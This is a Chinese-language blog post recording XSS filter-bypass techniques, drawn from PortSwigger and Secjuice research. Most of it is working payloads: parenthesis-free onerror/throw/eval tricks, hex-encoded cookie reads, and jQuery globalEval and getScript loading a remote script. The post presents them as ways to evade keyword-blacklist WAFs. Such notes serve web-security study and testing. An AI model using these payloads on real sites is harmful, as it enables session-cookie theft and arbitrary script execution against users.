0x00 前言
前段时间看到了无需括号和分号的XSS,最近又看了利用JavaScript全局变量绕过XSS过滤器,两篇均为译文,提出了一些非常有用的姿势,特此记录膜拜。另外文末贴有原文连接。
0x01 无需括号和分号的XSS
早在几年前,作者就提到过在javascript中调用函数而无需括号的方法<script>onerror=alert;throw 1337</script>
该方法主要利用onerror
和throw
,工作原理是将onerror设置为你想调用的函数,然后用throw语句将参数传递给调用函数。在上面的payload中,因为throw是一个语句,在和onerror配合使用时需要用分号隔离,避免被包含。而语句隔离也可以使用花括号{}
来实现:<script>{onerror=alert}throw 1337</script>
这样其实就已经达到作者标题所要的无需括号和分号的xss。
但是作者并没有停止,很快又提出了一万种姿势。
他发现throw
语句可以接上一些表达式,那么这样就可以把onerror
放在throw
语句中进行赋值,并且throw表达式的最后一部分
会被发送到onerror指定的处理函数中。1
<script>throw onerror=alert,a='boogle',b='1337',a</script>
如果想执行更复杂的语句,那么便可以使用eval
函数,但是将上面的payload改为1
<script>throw onerror=eval,alert`xss`</script>
这里弹出的xss为一个字符串,可以使用破浪号包裹而不用括号,如果想要弹cookie,那么就要用到括号了1
<script>throw onerror=eval,alert(document.cookie)</script>
这种方式调用函数,那么显然还是需要()
的。但是仔细观察前面的弹窗,我们传入内容为boogle
,弹窗内容却为Uncaught boogle
这样如果在传入的内容之前添加一个=
,将会产生一个什么样的效果。
对,神奇的事情发生了,就像表面添加=
一样,可以将Uncaught
赋值为后面的内容,成为一个变量,那么这个变量就可以传入eval
函数执行任意javascript代码了。
下面的payload中因为alert函数被引号包裹,可以将()
编码为\x28\x29
从而达到绕过效果。1
<script>throw%20onerror=eval,"=alert\x28document.cookie\x29"</script>
同样,前面的payload也可以这样变种,产生的效果及原理相同.1
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
上面将Uncaught
变为变量的方法是在chrome
浏览器下实现的,而且在Microsoft Edge
和IE
下都能达到效果。但是当把这种方法拿到firefox
浏览器时,却失败了,原因Firefox种报错前缀是uncaught exception:
,代码最后执行赋值时会出现语法错误。
但是很快作者给出了在firefox
上的任意javascript执行的方法1
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>`
最终,作者更是贴出了一种无需字符串的通用payload
1 | <script>throw/a/,Uncaught=1,g=alert,a=URL%2b0,onerror=eval,/1/g%2ba[12]%2b[1337]%2ba[13]</script> |
可以看到,在该payloa中,作者非常巧妙的利用a=URL+0
的方式将function
与字符相加变为字符串,即a为"function URL() { [native code] }0"
,然后从a
取相应的字符使用。利用这种方式去拼接被过滤的关键词的确为一种很好的思路。
还有通过使用类型错误自动将字符串发送到异常处理程序的方法,这使得我们完全不需要throw语句。1
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
0x02 利用JavaScript全局变量绕过XSS过滤器
这里所说的javascript全局变量是指利用self
或者window
调用任意javascript代码。
比如说调用alert
方法,可以使用self["alert"]
如果alert关键词被过滤,使用全局变量的方法甚至可以使用字符串拼接1
<script>self["al"+"ert"](1)</script>
同样因为是在字符串中,可以使用十六进制编码、base64编码等1
2
3
4
5
6
7
8
9
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
另外,网站中如果使用了jQuery之类的第三方库。可以利用这些第三方库中的全局变量
比如在JQuery中1
2
3
4
5self["$"]["globalEval"]("alert(1)");
self["\x24"]["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
甚至可以使用self["$"]["getScript"](url)
来加载任意js文件1
self["$"]["getScript"]("https://example.com/my.js");
另外还可以使用javascript迭代器Object.keys
和正则表达式的方法去获取指定函数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
使用这些方法,可以说可以在很大程度上绕过一些检测关键字黑名单的waf了。
如果与第一种方法相结合,更是可以组合出更有效的payload1
2
3
4<script>throw/a/,Uncaught=1,g=alert,a=URL%2b0,self[`on`%2b`error`]=eval,/1/g%2ba[12]%2b"self[`document`][`cookie`]"%2ba[13]</script>
<script>TypeError.prototype.name="=/",0[self[`on`%2b`error`]=self["eval"]]["/-self[`alert`](self[`document`][`cookie`])//"]</script>
0x03 参考链接
https://portswigger.net/blog/xss-without-parentheses-and-semi-colons
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/